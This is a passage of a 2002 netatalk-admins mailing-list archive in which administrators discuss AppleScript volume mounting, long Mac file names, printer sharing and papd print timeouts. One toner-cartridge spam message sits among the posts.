	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 02:33:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA13253
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 02:33:31 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA13233
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 02:33:29 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA05368;
	Thu, 31 Jan 2002 08:59:30 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 31 Jan 2002 08:33:34 +0100
Subject: Mounting volumes with AppleScript (was: Re: Aliases (sorry) and
	passwords)
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Robert Rust <robert.j.rust@uwrf.edu>, Thomas Schierle <ts@visual-s.de>
CC: <netatalk-admins@umich.edu>
Message-ID: <B87EAF11.1A3DA%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B87DF398.48FB%robert.j.rust@uwrf.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 30 Jan 2002 19:01:45 -0600, Robert Rust wrote:

> I should point out that in my experience, the only version of MacOS 9.x that
> the 'mount volume' script command works with a netatalk server in is 9.0.4.
> Updates past that break the 'Standard Additions' scripting addition such
> that you cannot connect to a netatalk server with 'mount volume'.  This can
> be fixed by re-installing the 'Standard Additions' from 9.0.4.

Hmm... Just tried it out on a plain 9.1 install: Everything works as
expected (conneting to a 1.5.1.1 netatalk installation). I believe you
disabled the 'Security ...' extensions in your extensions folder?

There are some known issues with recent AppleScript versions and the 'mount
volume' command:

- Standard Additions 1.4 - 1.4.2 had problems with some non-AppleShare
  servers (<http://devworld.apple.com/technotes/tn/tn1194.html#applescript>)
  that doesn't support encrypted passwords -- fixed with 1.4.3 and above.
  A detailled summary can be found here:
  <http://quest.cc.purdue.edu/~aeh/archive/2000/msg00028.html>

- in 1.7 the AFP over AppleTalk syntax 'on server [servername]' didn't work,
  so you should use the AFPoverAppleTalk syntax: 'mount volume "afp:/at/..."

According to the AppleScript Sourcebook the two following problems exist
<http://www.AppleScriptSourcebook.com/applescript/applescript160.html>

- "In Mac OS 9.1, none of the commands in Standard Additions worked if the
  new Security items in the Extensions folder were disabled. This bug bit
  many users who routinely disabled the Security items because they did not
  use the Keychain and felt secure enough without the extensions. In both
  the Classic environment of Mac OS X and the new 1.6 release of Standard
  Additions for Mac OS 9.1, only the Mount Volume command in Standard
  Additions requires the Security items."

- "AppleScript 1.6 introduces a known problem with using the mount volume
  command to mount volumes hosted on certain kinds of servers, especially
  Windows 2000 machines. This problem will be addressed in a future version
  of AppleScript"

(BTW: I tried to compile some information about related topics here:
<http://users.phg-online.de/tk/automount%20afp-servers.html>)

>> On 2002-01-31 01:26 +0100, Thomas Schierle wrote:
> [...]
>> Of cause, the complete script should be something like:
>> 
>> tell application "Finder"
>> mount volume "afp://fred@ip.ad.re.ss/volume.name/" with authentication
>> end tell

'mount volume' is part of an OSAX' dictionary, so you should not use it
inside a 'tell application' statement.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jan 31 05:45:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA19144
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 05:45:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA17942
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 05:45:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA17940
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 05:45:50 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA17923
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 05:45:48 -0500 (EST)
Received: from [193.155.17.160] (blech.tangro.de [193.155.17.160])
	by jump.tangro.de (8.11.2/8.11.2) with ESMTP id g0VAjIW29711;
	Thu, 31 Jan 2002 11:45:18 +0100 (CET)
Mime-Version: 1.0
X-Sender: hf@mail.tangro.de (Unverified)
Message-Id: <f05100300b87ed07b311a@[193.155.17.160]>
In-Reply-To: <1012417453.2852.162.camel@comp10574>
References: <B87DA7A1.E09F%peter@mprint.com>
 <1012417453.2852.162.camel@comp10574>
Date: Thu, 31 Jan 2002 11:45:18 +0100
To: Matthew Keller <kellermg@potsdam.edu>
From: Hauke Fath <hf@tangro.de>
Subject: Re: Long file names
Cc: Peter Anton <peter@mprint.com>, Netatalk List <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 14:04 Uhr -0500 30.01.2002, Matthew Keller wrote:
>	On a "pure" Mac net, I can see the value in that for sure. I was
>thinking of a little more "harmonious" way to provide "truncated" names
>to Mac users without actually touching the filename (eg. not dumbing
>everyone else down). ;)

Have a cron job create symlinks to files with long names?

	hauke
-- 
           Hauke Fath                             /~\    The ASCII
  tangro software components GmbH                 \ / Ribbon Campaign
       D-69115 Heidelberg                          X      Against
   Ruf +49-6221-13336-0, Fax -21                  / \   HTML Email!

From netatalk.administrators-errors@umich.edu  Thu Jan 31 09:25:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA27756
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 09:25:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA15094
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 09:25:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA15081
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 09:25:30 -0500 (EST)
Received: from laconia1.laconia.k12.nh.us (d-216-195-190-136.metrocast.net [216.195.190.136])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA14893; Thu, 31 Jan 2002 09:25:23 -0500 (EST)
Received: from unknown ([64.3.192.64]) by laconia1.laconia.k12.nh.us
          (Post.Office MTA v3.5.2 release 221 ID# 0-58324U300L2S100V35)
          with SMTP id us; Thu, 31 Jan 2002 09:09:48 -0500
From: <bill123@themail.com>
Subject: laser cartridges
Date: Thu, 31 Jan 2002 08:54:58
Message-Id: <97.743063.665517@unknown>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"





**** VORTEX SUPPLIES ****

-SPECIALS OF THE DAY ON LASER TONER SUPPLIES AT DISCOUNT PRICES--



ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER


NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    

OUR NEW , LASER PRINTER TONER CARTRIDGE, PRICES ARE  AS FOLLOWS: 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

FOR HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59
ITEM #13C LASERJET SERIES 4100-------------------------------$99
ITEM #18   LASERJET SERIES 3100------------------------------$39
ITEM #19 LASERJET SERIES 4500 BLACK--------------------------$79
ITEM #20 LASERJET SERIES 4500 COLORS ------------------------$125

FOR HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


FOR LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195
OPTRA E310/312---------------------------$79
OPTAA E410/412---------------------------$89


FOR EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


FOR CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

FOR CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

FOR CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.








From netatalk.administrators-errors@umich.edu  Thu Jan 31 10:58:53 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA04304
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 10:58:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA08559
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 10:58:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA08540
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 10:58:52 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA08511
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 10:58:50 -0500 (EST)
Received: (qmail 21372 invoked by alias); 31 Jan 2002 15:57:55 -0000
Received: (qmail 21352 invoked from network); 31 Jan 2002 15:57:55 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 31 Jan 2002 15:57:55 -0000
Subject: Re: Long file names
From: Matthew Keller <kellermg@potsdam.edu>
To: Hauke Fath <hf@tangro.de>
Cc: Peter Anton <peter@mprint.com>, Netatalk List <netatalk-admins@umich.edu>
In-Reply-To: <f05100300b87ed07b311a@[193.155.17.160]>
References: <B87DA7A1.E09F%peter@mprint.com>
	<1012417453.2852.162.camel@comp10574> 
	<f05100300b87ed07b311a@[193.155.17.160]>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 31 Jan 2002 10:59:15 -0500
Message-Id: <1012492755.6134.19.camel@comp10574>
Mime-Version: 1.0

On Thu, 2002-01-31 at 05:45, Hauke Fath wrote:
> At 14:04 Uhr -0500 30.01.2002, Matthew Keller wrote:
> >	On a "pure" Mac net, I can see the value in that for sure. I was
> >thinking of a little more "harmonious" way to provide "truncated" names
> >to Mac users without actually touching the filename (eg. not dumbing
> >everyone else down). ;)
> 
> Have a cron job create symlinks to files with long names?

	If you have 25,000 files in a folder, this gets messy. The cleanest
solution I've found is to have a "Mac Files" folder and an "everything
else" folder -- The "Mac Files" folder contains symlinks to the
files/folders in the "everything else" folder, mangled where necessary.
Again, this is best handled by cron/at and not within netatalk.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Jan 31 12:56:49 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA10532
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 12:56:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA01016
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 12:56:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA01008
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 12:56:48 -0500 (EST)
Received: from hamlet.mprint.com (hamlet.mprint.com [206.53.3.226])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA01001
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 12:56:47 -0500 (EST)
Received: from [192.168.0.103] (peter.mprint.com [192.168.0.103])
	by hamlet.mprint.com (8.11.1/8.11.1) with ESMTP id g0VHuPx32081
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 12:56:31 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 31 Jan 2002 12:56:29 -0500
Subject: Re: Long file names
From: Peter Anton <peter@mprint.com>
To: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B87EEF7D.E168%peter@mprint.com>
In-Reply-To: <1012492755.6134.19.camel@comp10574>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 1/31/02 10:59 AM, Matthew Keller at kellermg@potsdam.edu wrote:

>> Have a cron job create symlinks to files with long names?
> If you have 25,000 files in a folder, this gets messy.
Yep... Lucky for us, the files are handled, moved and stored all but
immediately...

> Again, this is best handled by cron/at and not within netatalk.
... in our case, the files are "placed" into the netatalk folder via an FTP
server, by granting access to ftp clients. The FTP server we use has a
feature which can execute any given script after an upload has been
completed, so the renaming is handled immediately.

But I like the idea of using sym links instead of actually renaming the
file. Other than myself, the only people who handle our netatalk published
files are Mac users, so renaming didn't hurt another, say, Wintel user. But
the purist in me now wants to toy around...

It's a messy messy world we IT people live in.
--
Peter John Anton         IT Manager, MicroPRINT
Waltham, Mass., USA               781-890-7500
peter@mprint.com



From netatalk.administrators-errors@umich.edu  Thu Jan 31 14:13:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA14200
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 14:13:47 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA16068
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 14:13:47 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA16061
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 14:13:46 -0500 (EST)
Received: from gateway.kwantlen.bc.ca (gateway.kwantlen.bc.ca [134.87.141.250])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA16045
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 14:13:45 -0500 (EST)
Received: from oak.kwantlen.ca (oak [10.1.1.46])
	by gateway.kwantlen.bc.ca (8.9.1b+Sun/8.9.2) with ESMTP id LAA00653
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 11:13:44 -0800 (PST)
Subject: Netatalk 1.4b  (configuring printer)
To: netatalk-admins@umich.edu
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
Message-ID: <OFDC6A9C3C.C8718755-ON88256B52.006501A6@kwantlen.ca>
From: "Moe Hans" <Moe.Hans@kwantlen.ca>
Date: Thu, 31 Jan 2002 11:13:41 -0800
X-MIMETrack: Serialize by Router on oak/SVR/kwantlen/Ca(Release 5.0.7 |March 21, 2001) at
 01/31/2002 11:13:42 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Hi ,

    I have installed netatalk1.4b on a Solaris 7 m/c. We installed some
network printer using "HP  JetDirect Printer Installer for UNIX" on that
Solaris m/c. How can I made these printer available to mac m/cs. Our PCs
running MS windows are using these printers through Samba. Can any one
send me the procedure for how I can made these printer available to m/cs.


Thanks



Moe Hans
Network Administrator
Information & Education Technology
Kwantlen University College , BC , Canada
Phone 604-599-2115
 www.kwantlen.bc.ca   |



From netatalk.administrators-errors@umich.edu  Thu Jan 31 15:10:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA17504
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 15:10:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA18582
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 15:10:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA18570
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 15:10:44 -0500 (EST)
Received: from gateway.kwantlen.bc.ca (gateway.kwantlen.bc.ca [134.87.141.250])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA18543
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 15:10:43 -0500 (EST)
Received: from oak.kwantlen.ca (oak [10.1.1.46])
	by gateway.kwantlen.bc.ca (8.9.1b+Sun/8.9.2) with ESMTP id MAA03313
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 12:10:41 -0800 (PST)
Subject: Link  files on unix server don't show up
To: netatalk-admins@umich.edu
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
Message-ID: <OF9C14C4A8.257D77C6-ON88256B52.006C49FB@kwantlen.ca>
From: "Moe Hans" <Moe.Hans@kwantlen.ca>
Date: Thu, 31 Jan 2002 11:48:23 -0800
X-MIMETrack: Serialize by Router on oak/SVR/kwantlen/Ca(Release 5.0.7 |March 21, 2001) at
 01/31/2002 12:10:39 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Hi ,

     I got an other problem. Our user have their home folders on a Unix
server. They are mounting the home folder on macintosh using
netatalk1.4b.  While they look into their folder on mac all link files
disappeared. What we need to do.

Thanks



Moe Hans
Network Administrator
Information & Education Technology
Kwantlen University College , BC , Canada
Phone 604-599-2115
 www.kwantlen.bc.ca   |



From netatalk.administrators-errors@umich.edu  Thu Jan 31 15:27:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA18646
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 15:27:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA16362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 15:27:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA16355
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 15:27:45 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA16333
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 15:27:44 -0500 (EST)
Received: (qmail 16928 invoked by alias); 31 Jan 2002 20:26:50 -0000
Received: (qmail 16795 invoked from network); 31 Jan 2002 20:26:47 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 31 Jan 2002 20:26:47 -0000
Subject: Re: Link  files on unix server don't show up
From: Matthew Keller <kellermg@potsdam.edu>
To: Moe Hans <Moe.Hans@kwantlen.ca>
Cc: netatalk-admins@umich.edu
In-Reply-To: <OF9C14C4A8.257D77C6-ON88256B52.006C49FB@kwantlen.ca>
References: <OF9C14C4A8.257D77C6-ON88256B52.006C49FB@kwantlen.ca>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 31 Jan 2002 15:28:08 -0500
Message-Id: <1012508888.6916.79.camel@comp10574>
Mime-Version: 1.0


	"Link files" meaning aliases?

On Thu, 2002-01-31 at 14:48, Moe Hans wrote:
> Hi ,
> 
>      I got an other problem. Our user have their home folders on a Unix
> server. They are mounting the home folder on macintosh using
> netatalk1.4b.  While they look into their folder on mac all link files
> disappeared. What we need to do.
> 
> Thanks
> 
> 
> 
> Moe Hans
> Network Administrator
> Information & Education Technology
> Kwantlen University College , BC , Canada
> Phone 604-599-2115
>  www.kwantlen.bc.ca   |
> 
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Jan 31 17:08:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA26613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 17:08:12 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA06356
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 17:08:12 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA06344
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 17:08:11 -0500 (EST)
Received: from gull.prod.itd.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA06314
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 17:08:10 -0500 (EST)
Received: from cpe-66-1-165-152.az.sprintbbd.net ([66.1.165.152] helo=rohan.tucson.boeckeler.com)
	by gull.prod.itd.earthlink.net with esmtp (Exim 3.33 #1)
	id 16WPNJ-00079n-00
	for netatalk-admins@umich.edu; Thu, 31 Jan 2002 14:08:09 -0800
Received: from vulcan.tucson.boeckeler.com (vulcan.tucson.boeckeler.com [10.0.1.162])
	by rohan.tucson.boeckeler.com (8.11.6/8.9.3) with ESMTP id g0VM84000874
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 15:08:05 -0700
Subject: Printing from Mac OS 8.5 to linux Redhat 6.
From: "Carl D. Blake" <carl@boeckeler.com>
To: netatalk-admins@umich.edu
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 31 Jan 2002 15:08:03 -0700
Message-Id: <1012514885.10802.20.camel@vulcan>
Mime-Version: 1.0

I have a Mac running 8.5 that I am attempting to setup to print onto a
printer on a Redhat V6.2 system.  The linux system is running the lpr
printing system V0.50.5.  I installed netatalk 1.4b2+asun2.1.4 from a
RedHat RPM.  I can share files without any problems.  The Mac can see
the linux system and it can see the printer on the linux system. 
However when I attempt a print from the Mac the Mac eventually times out
with a message like "Due to a communication error the print job could
not be printed."

lpr on the linux system works just fine - I can print to the printer
without any problems.  When the Mac attempts to print I can see in
/var/log/messages that papd is receiving a connection.  I can even see
the queue files appearing in /var/spool/lpd/lp, but they are very short
and never grow in size.  I would expect them to grow if they were
receiving data.  It looks like the Mac successfully makes the initial
connection to papd, but then for some reason is unable to send the data
to be printed.

I also tried this with netatalk 1.5.1.1 with exactly the same result.

My papd.conf file is as follows:

HPLaserJet6MP:\
	:pr=|/usr/bin/lpr -Plp:\
	:op=cdb:\
	:pd=/usr/share/lib/ppd/HPLaserJet6MP.ppd:

Does anybody have any suggestions?



From netatalk.administrators-errors@umich.edu  Thu Jan 31 17:56:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA29232
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 17:56:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA24636
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 17:56:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA24623
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 17:56:10 -0500 (EST)
Received: from jaka.ece.uiuc.edu (jaka.ece.uiuc.edu [128.174.113.136])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA24609
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 17:56:09 -0500 (EST)
Received: (from stuckey@localhost)
	by jaka.ece.uiuc.edu (8.9.3/8.9.3) id QAA13296;
	Thu, 31 Jan 2002 16:56:10 -0600
Date: Thu, 31 Jan 2002 16:56:10 -0600
From: Tony Stuckey <stuckey@jaka.ece.uiuc.edu>
To: "Carl D. Blake" <carl@boeckeler.com>
Cc: netatalk-admins@umich.edu, sflist@ihonk.com
Subject: Re: Printing from Mac OS 8.5 to linux Redhat 6.
Message-ID: <20020131165610.A13231@jaka.ece.uiuc.edu>
References: <1012514885.10802.20.camel@vulcan>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <1012514885.10802.20.camel@vulcan>

On Thu, Jan 31, 2002 at 03:08:03PM -0700, Carl D. Blake wrote:
> I have a Mac running 8.5 that I am attempting to setup to print onto a
> printer on a Redhat V6.2 system.  The linux system is running the lpr
> printing system V0.50.5.
[...] 
> lpr on the linux system works just fine - I can print to the printer
> without any problems.
[...] 
> Does anybody have any suggestions?

	MacOS 8.1 and later support direct printing to LPR/LPD devices.
You do not have to use PAPD at all.  Create a desktop printer on the
Macintosh.
	This is an FAQ.  This information does not appear in the FAQ at
http://netatalk.sourceforge.net/faq.php, unfortunately.
-- 
Anthony J. Stuckey                              stuckey@jaka.ece.uiuc.edu
"And they said work hard, and die suddenly, because it's fun."
	-Robyn Hitchcock.

From netatalk.administrators-errors@umich.edu  Thu Jan 31 18:01:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
